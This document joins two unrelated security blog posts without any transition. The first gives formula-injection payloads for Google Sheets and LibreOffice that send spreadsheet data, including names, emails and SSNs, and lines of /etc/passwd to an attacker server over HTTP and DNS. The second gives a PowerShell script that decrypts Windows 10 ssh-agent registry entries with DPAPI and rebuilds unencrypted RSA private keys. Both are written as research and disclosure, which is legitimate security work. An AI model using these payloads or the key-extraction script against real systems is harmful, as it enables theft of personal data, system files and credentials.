Data Exfiltration via Formula Injection

Due to a recent intriguing client pentest we became increasingly interested in finding and documenting ways to extract data from spreadsheets using out of band (OOB) methods. The methods we describe in this article assume that we have some control over the content of the spreadsheet (albeit limited), but we may have little to no access to the full document or client (target) system.

We have had a cursory look at LibreOffice as well as Google Sheets and have provided a few PoCs for each. We specifically paid attention to non-Windows based applications as a lot of work has already been done in this area, and we didn’t want to regurgitate information that is already widely accessible.

With that said let’s begin…

Google Sheets OOB Data Exfiltration

Cloud based data captures are probably going to be our best bet if we’re looking to obtain live data. This is because unlike client based attacks, we may be able to populate data within a sheet in quick succession and receive near real time responses.

The attack scenarios may differ drastically, depending on what’s available to you. If you’re able to create/upload CSV files or the like to a target, you’re probably in a much greater position to successfully exploiting something. This brings us nicely to Google Sheets.

Firstly, let’s introduce some of the more interesting functions.

CONCATENATE: Appends strings to one another.

=CONCATENATE(A2:E2)

IMPORTXML: Imports data from various structured data types including XML, HTML, CSV, TSV, and RSS and ATOM XML feeds.

=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

IMPORTFEED: Imports a RSS or ATOM feed.

=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))

IMPORTHTML: Imports data from a table or list within an HTML page.

=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

IMPORTRANGE: Imports a range of cells from a specified spreadsheet.

=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

IMAGE: Inserts an image into a cell.

=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")

 

Exfiltration of data:

Based on Google documentation of its spreadsheet functions, the above mentioned functions could be ripe candidates for out of band data exfiltration.

Scenario 1 [Failed]: We like to be honest and thus have included some of our failed PoCs here. Failures are a part of this game and should be considered great learning material. If it wasn’t for failure, success would never taste so sweet ????

Google provide functionality to create forms and receive responses, which later can be accessed using Google sheets. We attempted to exploit this issue by submitting a malicious formula in the comments section of the respective Google form. However, Google was performing sanity checks on responses submitted and it automatically added an (‘) apostrophe before the formula, thus stopping the formula from executing.

Scenario 2 [Success]: Google sheets also gave some functionality that allows us to import data from different file formats like csv, tsv, xlsx etc. This imported data can be represented using a new spreadsheet or can be appended to an existing sheet. For our PoC we will be appending it to a sheet containing responses from the previous scenario, so that we can extract data submitted by other users. Fortunately for us Google did not perform the same the check it did in scenario 1. The following steps were used.

1) We created a malicious csv file with a payload (formula), that will concatenate data from A to D columns. We then generate an out of band request for our attacker server with those details.

2) We then imported the csv file into Google Sheets using the import functionality, and appended the data to the existing sheet.

3) Once the data was imported our payload executed and we received the details of users like name, email and SSN data on a HTTP server listening on our attacking server.

This hopefully gives a snippet into what may be achieved. With this in mind we’ll continue this discussion, but now focus upon LibreOffice.

LibreOffice OS File Read in a Linux Environment

This section focuses on exploiting CSV injection in Linux Environment. As we’re sure you’re aware numerous blogs, PoC’s and the such have been released that relate to exploiting DDE with Excel, but little has been looked into in regard to office applications within a Linux environment. This is understandable, Linux desktops are far less common spread than their Windows counterparts and as we know, attacks are always going to target the most widespread aka most lucrative endpoints.

In this article we wanted to highlight some simple, yet very interesting formula attacks that can be exploited on a Linux target. For this writeup we are using the following environment, although these issues will likely be further widespread.

The payloads were successfully tested on the environments listed below:

  • Ubuntu 16.04 LTS and LibreOffice 5.1.6.2
  • Ubuntu 18.04 LTS and LibreOffice 6.0.3.2

We first tried to read sensitive files via formulas using our local access. LibreOffice offers to read a file using the “file” protocol. An initial PoC to retrieve a single line from the local /etc/passwd file was created and is detailed below.

Payload 1:

='file:///etc/passwd'#$passwd.A1

Analyzing the above payload:

  • ‘file:///etc/passwd’#$passwd.A1 – Will read the 1st line from the local /etc/passwd file

* Interestingly it seems that a remote resource may also be queried using http:// in place of file:///

It should be noted that upon initial import the user will be prompted for an action as shown within the following screenshot (showing the output of /etc/group, in this instance).

After this import, the user is then prompted to update links whenever the document is reopened.

Incidentally, by altering the row reference (in this case A2), we could read further entries from the file.

This is all well and good, but we needed a way to see the file contents from a remote system (we won’t have the advantage of viewing these results within the LibreOffice application!)

This lead us to look into the WEBSERVICE function. In essence we could use this function to connect to a remote system that we control and then send requests for the data that we have extracted from the local /etc/passwd file. Obviously these files won’t exist on the attacking host, but the GET requests will include all the juicy info and will be accessible to us from logs or console output on the attacking host.

Continuing with this theory we came up with the following PoC.

Payload 2:

=WEBSERVICE(CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#$passwd.A1)))

Analyzing the above payload:

  • ‘file:///etc/passwd’#$passwd.A1 – Will read the 1st line from the local /etc/passwd file
  • CONCATENATE(“http://<ip>:8080”,(‘file:///etc/passwd’#$passwd.A1)) – Concatenate the IP address and output of ‘file’
  • WEBSERVICE – Will make a request to our attacking host for the given URI

Our attacking system had Python’s SimpleHTTPServer running, so when the malicious file is opened on the victim system, the requests were made and hence received by our server.

Similarly, we created a couple of payloads to read multiple lines from a target file. If space isn’t an issue, this task can be easily achieved by embedding multiple rows within a single document by just ensuring that the last reference, i.e. #$passwd.A1 is set to increment with each row. The following PoC will extract and send the first 30 rows within the target file /etc/passwd.

However, a cleaner way of achieving the same goal would be to reference multiple rows within a single formula as shown below.

On executing the below payload, 2 lines from /etc/passwd file are sent to the attacking server.

Payload 3:

=WEBSERVICE(CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))

Analyzing the above payload:

  • ‘file:///etc/passwd’#$passwd.AX – Will read the 1st and 2nd lines from the local /etc/passwd file
  • CONCATENATE(“http://<ip>:8080/”,(‘file:///etc/passwd’#$passwd.A1)&CHAR(36)&(‘file:///etc/passwd’#$passwd.A2)) – Concatenate the attacking server IP address with the output of /etc/passwd lines rows 1 and 2 (the 1st 2 lines in the file), each being separated with the dollar($) character
  • WEBSERVICE – Will make a request to our attacking host for the given URI

Looking at the attacking host we can see the corresponding entries from /etc/passwd within the GET request, separated in this instance by the $ character (CHAR 36).

Depending on the file contents we could be hitting issues with length here (https://stackoverflow.com/questions/417142/what-is-the-maximum-length-of-a-url-in-different-browsers) and special characters may also play a part in a PoC failure.

We address both issues in the next PoC, and as no OOB data exfiltration would be complete without the obligatory DNS example; here it is.

Payload 4:

=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<FQDN>"))

Analyzing the above payload:

  • ‘file:///etc/passwd’#$passwd.A19 – Will read the 19th line from the local /etc/passwd file
  • ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – URL encode the returned data
  • MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – Similar to substring, read data from 1st character to 41st – a very handy way to restrict the length of DNS hostnames (254 character limit on FQDN and 63 characters for a label, i.e. subdomain)
  • SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – replace all instances of % (the special character from URL encoding) with dash – this is ensure that only valid DNS characters are used
  • CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”) – Concatenate the output from the file (after the above processing has taken place) with the FQDN (for which we have access to the host that is authoritative for the domain)
  • WEBSERVICE – Will make a request for this non-existent DNS name which we can then parse the logs (or run tcpdump etc.) on the DNS authoritative name server for which we have control

Upon sending this, we can see queries for the FQDN (which includes the encoded data from line 19 of /etc/passwd), via tcpdump on our server that is configured to be the authoritative server for the domain, as shown below.

If you happen to be using, testing or tinkering with an application that offers upload/download/imports/exports of CSV data and the like, you may well be glad of simple wins such as displayed here.

Extracting SSH Private Keys from Windows 10 ssh-agent

Intro

This weekend I installed the Windows 10 Spring Update, and was pretty excited to start playing with the new, builtin OpenSSH tools.

Using OpenSSH natively in Windows is awesome since Windows admins no longer need to use Putty and PPK formatted keys. I started poking around and reading up more on what features were supported, and was pleasantly surprised to see 

ssh-agent.exe

 is included.

I found some references to using the new Windows ssh-agent in this MSDN article, and this part immediately grabbed my attention:

Securely store private keys

I’ve had some good fun in the past with hijacking SSH-agents, so I decided to start looking to see how Windows is «securely» storing your private keys with this new service.

I’ll outline in this post my methodology and steps to figuring it out. This was a fun investigative journey and I got better at working with PowerShell.

tl;dr

Private keys are protected with DPAPI and stored in the HKCU registry hive. I released some PoC code here to extract and reconstruct the RSA private key from the registry

Using OpenSSH in Windows 10

The first thing I tested was using the OpenSSH utilities normally to generate a few key-pairs and adding them to the ssh-agent.

First, I generated some password protected test key-pairs using 

ssh-keygen.exe

:

Powershell ssh-keygen

Then I made sure the new 

ssh-agent

 service was running, and added the private key pairs to the running agent using 

ssh-add

:

Powershell ssh-add

Running 

ssh-add.exe -L

 shows the keys currently managed by the SSH agent.

Finally, after adding the public keys to an Ubuntu box, I verified that I could SSH in from Windows 10 without needing the decrypt my private keys (since 

ssh-agent

 is taking care of that for me):

Powershell SSH to Ubuntu

Monitoring SSH Agent

To figure out how the SSH Agent was storing and reading my private keys, I poked around a little and started by statically examining 

ssh-agent.exe

. My static analysis skills proved very weak, however, so I gave up and just decided to dynamically trace the process and see what it was doing.

I used 

procmon.exe

 from Sysinternals and added a filter for any process name containing «ssh».

With 

procmon

 capturing events, I then SSH’d into my Ubuntu machine again. Looking through all the events, I saw 

ssh.exe

 open a TCP connection to Ubuntu, and then finally saw 

ssh-agent.exe

 kick into action and read some values from the Registry:

SSH Procmon

Two things jumped out at me:

  • The process 
    ssh-agent.exe

     reads values from HKCU\Software\OpenSSH\Agent\Keys

  • After reading those values, it immediately opens 
    dpapi.dll

Just from this, I now knew that some sort of protected data was being stored in and read from the Registry, and 

ssh-agent

 was using Microsoft’s Data Protection API

Testing Registry Values

Sure enough, looking in the Registry, I could see two entries for the keys I added using 

ssh-add

. The key names were the fingerprint of the public key, and a few binary blobs were present:

Registry SSH Entries

Registry SSH Values

After reading StackOverflow for an hour to remind myself of PowerShell’s ugly syntax (as is tradition), I was able to pull the registry values and manipulate them. The «comment» field was just ASCII encoded text and was the name of the key I added:

Powershell Reg Comment

The 

(default)

 value was just a byte array that didn’t decode to anything meaningful. I had a hunch this was the «encrypted» private key if I could just pull it and figure out how to decrypt it. I pulled the bytes to a Powershell variable:

Powershell keybytes

Unprotecting the Key

I wasn’t very familiar with DPAPI, although I knew a lot of post exploitation tools abused it to pull out secrets and credentials, so I knew other people had probably implemented a wrapper. A little Googling found me a simple oneliner by atifaziz that was way simpler than I imagined (okay, I guess I see why people like Powershell…. 😉 )

Add-Type AssemblyName System.Security;
[Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String((type raw (Join-Path $env:USERPROFILE foobar))), $null, ‘CurrentUser’))

I still had no idea whether this would work or not, but I tried to unprotect the byte array using DPAPI. I was hoping maybe a perfectly formed OpenSSH private key would just come back, so I base64 encoded the result:


<span class="token function">Add-Type</span> <span class="token operator">-</span>AssemblyName System<span class="token punctuation">.</span>Security  
<span class="token variable">$unprotectedbytes</span> = <span class="token namespace">[Security.Cryptography.ProtectedData]</span>::Unprotect<span class="token punctuation">(</span><span class="token variable">$keybytes</span><span class="token punctuation">,</span> <span class="token variable">$null</span><span class="token punctuation">,</span> <span class="token string">'CurrentUser'</span><span class="token punctuation">)</span>

<span class="token namespace">[System.Convert]</span>::ToBase64String<span class="token punctuation">(</span><span class="token variable">$unprotectedbytes</span><span class="token punctuation">)</span>

The Base64 returned didn’t look like a private key, but I decoded it anyway just for fun and was very pleasantly surprised to see the string «ssh-rsa» in there! I had to be on the right track.

Base 64 decoded

Figuring out Binary Format

This part actually took me the longest. I knew I had some sort of binary representation of a key, but I could not figure out the format or how to use it.

I messed around generating various RSA keys with 

openssl

puttygen

 and 

ssh-keygen

, but never got anything close to resembling the binary I had.

Finally after much Googling, I found an awesome blogpost from NetSPI about pulling out OpenSSH private keys from memory dumps of 

ssh-agent

 on Linux: https://blog.netspi.com/stealing-unencrypted-ssh-agent-keys-from-memory/

Could it be that the binary format is the same? I pulled down the Python scriptlinked from the blog and fed it the unprotected base64 blob I got from the Windows registry:

parse_mem.py

It worked! I have no idea how the original author soleblaze figured out the correct format of the binary data, but I am so thankful he did and shared. All credit due to him for the awesome Python tool and blogpost.

Putting it all together

After I had proved to myself it was possible to extract a private key from the registry, I put it all together in two scripts.

GitHub Repo

The first is a Powershell script (

extract_ssh_keys.ps1

) which queries the Registry for any saved keys in 

ssh-agent

. It then uses DPAPI with the current user context to unprotect the binary and save it in Base64. Since I didn’t even know how to start parsing Binary data in Powershell, I just saved all the keys to a JSON file that I could then import in Python. The Powershell script is only a few lines:


<span class="token variable">$path</span> = <span class="token string">"HKCU:\Software\OpenSSH\Agent\Keys"</span>

<span class="token variable">$regkeys</span> = <span class="token function">Get-ChildItem</span> <span class="token variable">$path</span> <span class="token punctuation">|</span> <span class="token function">Get-ItemProperty</span>

<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$regkeys</span><span class="token punctuation">.</span>Length <span class="token operator">-eq</span> 0<span class="token punctuation">)</span> <span class="token punctuation">{</span>  
    <span class="token function">Write-Host</span> <span class="token string">"No keys in registry"</span>
    <span class="token keyword">exit</span>
<span class="token punctuation">}</span>

<span class="token variable">$keys</span> = @<span class="token punctuation">(</span><span class="token punctuation">)</span>

<span class="token function">Add-Type</span> <span class="token operator">-</span>AssemblyName System<span class="token punctuation">.</span>Security<span class="token punctuation">;</span>

<span class="token variable">$regkeys</span> <span class="token punctuation">|</span> <span class="token function">ForEach-Object</span> <span class="token punctuation">{</span>
    <span class="token variable">$key</span> = @<span class="token punctuation">{</span><span class="token punctuation">}</span>
    <span class="token variable">$comment</span> = <span class="token namespace">[System.Text.Encoding]</span>::ASCII<span class="token punctuation">.</span>GetString<span class="token punctuation">(</span><span class="token variable">$_</span><span class="token punctuation">.</span>comment<span class="token punctuation">)</span>
    <span class="token function">Write-Host</span> <span class="token string">"Pulling key: "</span> <span class="token variable">$comment</span>
    <span class="token variable">$encdata</span> = <span class="token variable">$_</span><span class="token punctuation">.</span><span class="token string">'(default)'</span>
    <span class="token variable">$decdata</span> = <span class="token namespace">[Security.Cryptography.ProtectedData]</span>::Unprotect<span class="token punctuation">(</span><span class="token variable">$encdata</span><span class="token punctuation">,</span> <span class="token variable">$null</span><span class="token punctuation">,</span> <span class="token string">'CurrentUser'</span><span class="token punctuation">)</span>
    <span class="token variable">$b64key</span> = <span class="token namespace">[System.Convert]</span>::ToBase64String<span class="token punctuation">(</span><span class="token variable">$decdata</span><span class="token punctuation">)</span>
    <span class="token variable">$key</span><span class="token punctuation">[</span><span class="token variable">$comment</span><span class="token punctuation">]</span> = <span class="token variable">$b64key</span>
    <span class="token variable">$keys</span> <span class="token operator">+=</span> <span class="token variable">$key</span>
<span class="token punctuation">}</span>

<span class="token function">ConvertTo-Json</span> <span class="token operator">-</span>InputObject <span class="token variable">$keys</span> <span class="token punctuation">|</span> <span class="token function">Out-File</span> <span class="token operator">-</span>FilePath <span class="token string">'./extracted_keyblobs.json'</span> <span class="token operator">-</span>Encoding ascii  
<span class="token function">Write-Host</span> <span class="token string">"extracted_keyblobs.json written. Use Python script to reconstruct private keys: python extractPrivateKeys.py extracted_keyblobs.json"</span>

I heavily borrowed the code from 

parse_mem_python.py

 by soleblaze and updated it to use Python3 for the next script: 

extractPrivateKeys.py

. Feeding the JSON generated from the Powershell script will output all the RSA private keys found:

Extracting private keys

These RSA private keys are unencrypted. Even though when I created them I added a password, they are stored unencrypted with 

ssh-agent

 so I don’t need the password anymore.

To verify, I copied the key back to a Kali linux box and verified the fingerprint and used it to SSH in!

Using the key

Next Steps

Obviously my PowerShell-fu is weak and the code I’m releasing is more for PoC. It’s probably possible to re-create the private keys entirely in PowerShell. I’m also not taking credit for the Python code — that should all go to soleblaze for his original implementation.